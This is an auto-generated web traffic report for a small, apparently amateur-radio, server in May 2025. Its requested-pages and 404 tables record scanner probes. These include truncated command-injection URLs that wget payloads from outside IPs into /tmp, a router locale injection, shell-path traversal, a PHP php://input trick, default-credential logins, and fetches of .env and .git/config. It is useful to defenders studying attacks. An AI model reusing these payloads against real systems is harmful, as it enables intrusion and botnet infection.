Statistics generated with VISITORS Web Log Analyzer version 0.7
|
|
General information |
Information about analyzed log files |
Generated: Fri May 9 07:30:02 2025
|
Number of entries processed 3817 |
Number of invalid entries 0 |
Processing time in seconds 1 |
|
Generated reports |
Click on the report name you want to see |
Number of reports generated 24 |
Unique visitors in each day |
Unique visitors in each month |
Unique visitors from Google in each day |
Unique visitors from Google in each month |
Pageviews per visit |
Weekday-Hour combined map |
Month-Day combined map |
Requested pages |
Requested images and CSS |
Referers |
Referers by first time |
Robots and web spiders |
User agents |
Operating Systems |
Browsers |
404 Errors |
Domains |
Googled pages |
Adsensed pages |
Google Keyphrases |
Google Keyphrases by first time |
Google Human Language |
Weekday distribution |
Hours distribution |
|
Unique visitors in each day |
Multiple hits with the same IP, user agent and access day, are considered a single visit |
Number of unique visitors 649 |
Different days in logfile 6 |
04/May/2025 | 134 (20.6%) |
|
05/May/2025 | 124 (19.1%) |
|
06/May/2025 | 114 (17.6%) |
|
07/May/2025 | 127 (19.6%) |
|
08/May/2025 | 112 (17.3%) |
|
09/May/2025 | 38 (5.9%) |
|
|
Unique visitors in each month |
Multiple hits with the same IP, user agent and access day, are considered a single visit |
Number of unique visitors 649 |
Different months in logfile 1 |
May/2025 | 649 (100.0%) |
|
|
Unique visitors from Google in each day |
The red part of the bar expresses the percentage of visits originated from Google |
Number of unique visitors 649 |
Number of unique visitors from google 0 |
Different days in logfile 6 |
04/May/2025 | 0 (0.0%) |
|
05/May/2025 | 0 (0.0%) |
|
06/May/2025 | 0 (0.0%) |
|
07/May/2025 | 0 (0.0%) |
|
08/May/2025 | 0 (0.0%) |
|
09/May/2025 | 0 (0.0%) |
|
|
Unique visitors from Google in each month |
The red part of the bar expresses the percentage of visits originated from Google |
Number of unique visitors 649 |
Number of unique visitors from google 0 |
Different months in logfile 1 |
May/2025 | 0 (0.0%) |
|
|
Weekday-Hour combined map |
Brighter means higher level of hits |
Hour with max traffic starting at We 04:00 with hits 14 |
Hour with min traffic starting at Tu 16:00 with hits 0 |
|
Mo | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Tu | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
We | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Th | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Fr | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Sa | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Su | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 00 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 |
|
|
Month-Day combined map |
Brighter means higher level of hits |
Day with max traffic is May 04 with hits 134 |
Day with min traffic is May 09 with hits 38 |
|
Jan | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Feb | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Mar | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Apr | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
May | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Jun | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Jul | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Aug | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Sep | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Oct | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Nov | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Dec | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 |
|
|
Pageviews per visit |
Number of pages requested per visit |
Only documents are counted (not images). Reported ranges: 13 |
1 | 361 (67.5%) |
|
2 | 66 (12.3%) |
|
11-20 | 21 (3.9%) |
|
3 | 14 (2.6%) |
|
> 30 | 13 (2.4%) |
|
5 | 13 (2.4%) |
|
4 | 12 (2.2%) |
|
21-30 | 11 (2.1%) |
|
6 | 8 (1.5%) |
|
7 | 6 (1.1%) |
|
8 | 5 (0.9%) |
|
10 | 3 (0.6%) |
|
9 | 2 (0.4%) |
|
|
Requested pages |
Page requests ordered by hits |
Different pages requested 386 |
1) | 2215 | / |
2) | 266 | /dispatch.asp |
3) | 172 | none |
4) | 109 | /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd /tmp;rm arm7; wget http://103.149.29.... |
5) | 88 | /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd /tmp;rm llarm7; wget http://103.188.8... |
6) | 29 | /robots.txt |
7) | 28 | /boaform/admin/formLogin |
8) | 25 | /.env |
9) | 17 | /.git/config |
10) | 17 | /report.html |
11) | 16 | /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd /tmp;rm arm7; wget http://176.65.148.... |
12) | 15 | /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=uname -a;cd /tmp || cd /var/run || cd /m... |
13) | 14 | /loradash/aprsdash.php |
14) | 14 | /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd /tmp;rm -rf parm7; wget http://193.32... |
15) | 12 | /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=uname -a;cd /tmp || cd /var/run || cd /m... |
16) | 7 | /shell?killall -9 arm7;killall -9 arm4;killall -9 arm;killall -9 /bin/sh;killall -9 /bin/sh;killall ... |
17) | 6 | /aprsdash/aprsdash.php |
18) | 6 | /developmentserver/metadatauploader |
19) | 6 | /ais/index.php |
20) | 6 | /direwolfdash/index.php |
21) | 6 | /loradash/help.html |
22) | 5 | /wifi/index.html |
23) | 5 | /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=uname -a;cd /tmp || cd /var/run || cd /m... |
24) | 5 | /aprx/index.php |
25) | 5 | /cgi-bin/luci/;stok=/locale |
26) | 5 | /geoserver/web/ |
27) | 5 | /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf sh; wget http... |
28) | 4 | /skyaware/ |
29) | 4 | /.env.bak |
30) | 4 | /cgi-bin/S2eS2e/S2eS2e/S2eS2e/S2eS2e/S2eS2e/S2eS2e/S2eS2e/bin/sh |
|
Requested images and CSS |
Images and CSS requests ordered by hits |
Different images and CSS requested 186 |
1) | 37 | /favicon.ico |
2) | 5 | /admin/assets/js/views/login.js |
3) | 5 | /admin/assets/css/jquery-ui.css |
4) | 4 | /libs/js/iframe.js |
5) | 3 | /ais/icons/aislogo.jpg |
6) | 3 | /ais/node_modules/ol/ol.css |
7) | 2 | /CSS/Miniweb.css |
8) | 2 | /wifi/images/ari.gif |
9) | 2 | /wifi/_themes/sumipntg/sumtextb.jpg |
10) | 2 | /wifi/_themes/sumipntg/sumhorsd.gif |
11) | 1 | /skyaware/noUiSlider/distribute/nouislider.min.js |
12) | 1 | /ais/node_modules/ol/proj.js |
13) | 1 | /ais/node_modules/ol/asserts.js |
14) | 1 | /ais/node_modules/ol/ViewProperty.js |
15) | 1 | /skyaware/flags-tiny/Latvia.png |
16) | 1 | /ais/node_modules/ol/interaction/Pointer.js |
17) | 1 | /ais/node_modules/ol/CollectionEventType.js |
18) | 1 | /ais/node_modules/ol/proj/Units.js |
19) | 1 | /ais/node_modules/ol/geom/flat/segments.js |
20) | 1 | /ais/node_modules/ol/interaction/DoubleClickZoom.js |
21) | 1 | /ais/node_modules/ol/style/IconImageCache.js |
22) | 1 | /ais/node_modules/ol/renderer/Composite.js |
23) | 1 | /ais/node_modules/ol/source/Source.js |
24) | 1 | /wifi/Foto Wi-fi/DSCF0001.JPG |
25) | 1 | /ais/node_modules/ol/proj/projections.js |
26) | 1 | /ais/node_modules/ol/geom/flat/transform.js |
27) | 1 | /ais/node_modules/ol/AssertionError.js |
28) | 1 | /ais/node_modules/ol/render/canvas.js |
29) | 1 | /ais/node_modules/ol/Observable.js |
30) | 1 | /ais/node_modules/ol/TileState.js |
|
Referers |
Referers ordered by visits (google excluded) |
Different referers 8 |
1) | 623 | none |
2) | 15 | http://151.53.251.248:80/admin/login.asp |
3) | 3 | https://www.google.com/ |
4) | 3 | http://mtg3.eu/ |
5) | 2 | http://www.baidu.com/ |
6) | 2 | http://iz7boj.dyndns.org/loradash/aprsdash.php |
7) | 1 | http://151.53.251.248:80/login_inter.asp |
8) | 1 | http://iz7boj.dyndns.org/ |
|
Referers by first time |
Referers ordered by first time date, newer on top (referers from google excluded) |
Different referers 8 |
1) | 07/May/2025 | http://www.baidu.com/ |
2) | 06/May/2025 | http://151.53.251.248:80/login_inter.asp |
3) | 06/May/2025 | https://www.google.com/ |
4) | 05/May/2025 | http://mtg3.eu/ |
5) | 05/May/2025 | http://iz7boj.dyndns.org/ |
6) | 04/May/2025 | http://iz7boj.dyndns.org/loradash/aprsdash.php |
7) | 04/May/2025 | http://151.53.251.248:80/admin/login.asp |
8) | 04/May/2025 | none |
|
Robots and web spiders |
Agents requesting robots.txt. MSIECrawler excluded. |
Total number of different robots 11 |
1) | 7 | facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php) |
2) | 4 | Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/) |
3) | 3 | Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html) |
4) | 2 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbo... |
5) | 2 | Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compat... |
6) | 2 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bin... |
7) | 1 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.c... |
8) | 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.... |
9) | 1 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
10) | 1 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.ama... |
11) | 1 | Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler) |
|
User agents |
The entire user agent string ordered by visits |
Different agents 146 |
1) | 138 | - |
2) | 59 | Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Ve... |
3) | 43 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85... |
4) | 27 | Mozilla/5.0 zgrab/0.x |
5) | 27 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.11... |
6) | 16 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0 |
7) | 12 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day ... |
8) | 12 | curl/7.88.1 |
9) | 12 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.13... |
10) | 12 | Mozila/5.0 |
11) | 11 | Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about); |
12) | 10 | Hello-World/1.0 |
13) | 9 | Go-http-client/1.1 |
14) | 9 | facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php) |
15) | 9 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.... |
16) | 8 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bin... |
17) | 7 | python-requests/2.32.3 |
18) | 7 | xfa1 |
19) | 7 | l9tcpid/v1.1.0 |
20) | 7 | l9explore/1.2.2 |
21) | 7 | Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html) |
22) | 6 | Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler) |
23) | 6 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) |
24) | 6 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0 |
25) | 5 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.11... |
26) | 5 | Mozilla/5.0 |
27) | 5 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.ama... |
28) | 5 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Saf... |
29) | 5 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.19... |
30) | 4 | Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/) |
|
Operating Systems |
Operating Systems by visits |
Different operating systems listed 4 |
Unknown | 415 (63.8%) |
|
Windows | 145 (22.3%) |
|
Linux | 64 (9.8%) |
|
Macintosh | 26 (4.0%) |
|
|
Browsers |
Browsers used by visits |
Different browsers listed 9 |
Unknown | 334 (51.4%) |
|
Safari | 260 (40.0%) |
|
Firefox | 40 (6.2%) |
|
Other Mozilla based | 10 (1.5%) |
|
Explorer 6.x | 2 (0.3%) |
|
Explorer unknown version | 1 (0.2%) |
|
Git | 1 (0.2%) |
|
Opera | 1 (0.2%) |
|
GoogleBot | 1 (0.2%) |
|
|
404 Errors |
Requests for missing documents |
Different missing documents requested 104 |
1) | 266 | /dispatch.asp |
2) | 28 | /boaform/admin/formLogin |
3) | 15 | /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=uname -a;cd /tmp || cd /var/run || cd /m... |
4) | 12 | /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=uname -a;cd /tmp || cd /var/run || cd /m... |
5) | 7 | /shell?killall -9 arm7;killall -9 arm4;killall -9 arm;killall -9 /bin/sh;killall -9 /bin/sh;killall ... |
6) | 5 | /cgi-bin/luci/;stok=/locale |
7) | 5 | /geoserver/web/ |
8) | 5 | /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=uname -a;cd /tmp || cd /var/run || cd /m... |
9) | 5 | /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf sh; wget http... |
10) | 5 | /admin/assets/js/views/login.js |
11) | 5 | /admin/assets/css/jquery-ui.css |
12) | 4 | /HNAP1 |
13) | 4 | /cgi-bin/S2eS2e/S2eS2e/S2eS2e/S2eS2e/S2eS2e/S2eS2e/S2eS2e/bin/sh |
14) | 4 | /sdk |
15) | 4 | /libs/js/iframe.js |
16) | 4 | /hello.world?d allow_url_include=1 d auto_prepend_file=php://input |
17) | 4 | /cgi-bin/../../../../../../../../../../bin/sh |
18) | 3 | /t4 |
19) | 3 | /upl.php |
20) | 3 | /_profiler/phpinfo |
21) | 3 | /1.php |
22) | 3 | /config.json |
23) | 3 | /boaform/admin/formLogin?username=admin&psd=admin |
24) | 3 | /geoip/ |
25) | 3 | /form.html |
26) | 3 | /actuator/gateway/routes |
27) | 2 | /readme.txt |
28) | 2 | /scripts/WPnBr.dll |
29) | 2 | /onvifsnapshot/media_service/snapshot?subtype=0&channel=1 |
30) | 2 | /owa/ |
|
Domains |
Top Level Domains sorted by visits |
Total number of Top Level Domains 1 |
numeric IP | 650 (100.0%) |
|
|
Googled pages |
Pages accessed by the Google crawler, last access reported |
Number of pages googled 1 |
1) | 07/May/2025 | /robots.txt |
|
Adsensed pages |
Pages accessed by the Adsense crawler, last access reported |
Number of pages adsensed 0 |
|
Google Keyphrases |
Keyphrases used in google searches ordered by visits |
Total number of keyphrases 0 |
|
Google Keyphrases by first time |
Keyphrases ordered by first time date, newer on top |
Different referers 0 |
|
Google Human Language |
The 'hl' field in the query string of google searches |
Different human languages 0 |
|
Weekdays distribution |
Percentage of hits in every day of the week |
Mo | 124 (19.1%) |
|
Tu | 114 (17.5%) |
|
We | 128 (19.7%) |
|
Th | 112 (17.2%) |
|
Fr | 38 (5.8%) |
|
Sa | 0 (0.0%) |
|
Su | 134 (20.6%) |
|
|
Hours distribution |
Percentage of hits in every hour of the day |
00 | 60 (9.2%) |
|
01 | 43 (6.6%) |
|
02 | 38 (5.8%) |
|
03 | 47 (7.2%) |
|
04 | 44 (6.8%) |
|
05 | 29 (4.5%) |
|
06 | 37 (5.7%) |
|
07 | 26 (4.0%) |
|
08 | 25 (3.8%) |
|
09 | 29 (4.5%) |
|
10 | 26 (4.0%) |
|
11 | 14 (2.2%) |
|
12 | 12 (1.8%) |
|
13 | 20 (3.1%) |
|
14 | 29 (4.5%) |
|
15 | 19 (2.9%) |
|
16 | 22 (3.4%) |
|
17 | 29 (4.5%) |
|
18 | 16 (2.5%) |
|
19 | 16 (2.5%) |
|
20 | 14 (2.2%) |
|
21 | 22 (3.4%) |
|
22 | 10 (1.5%) |
|
23 | 23 (3.5%) |
|
|
Statistics generated with VISITORS Web Log Analyzer version 0.7
|
|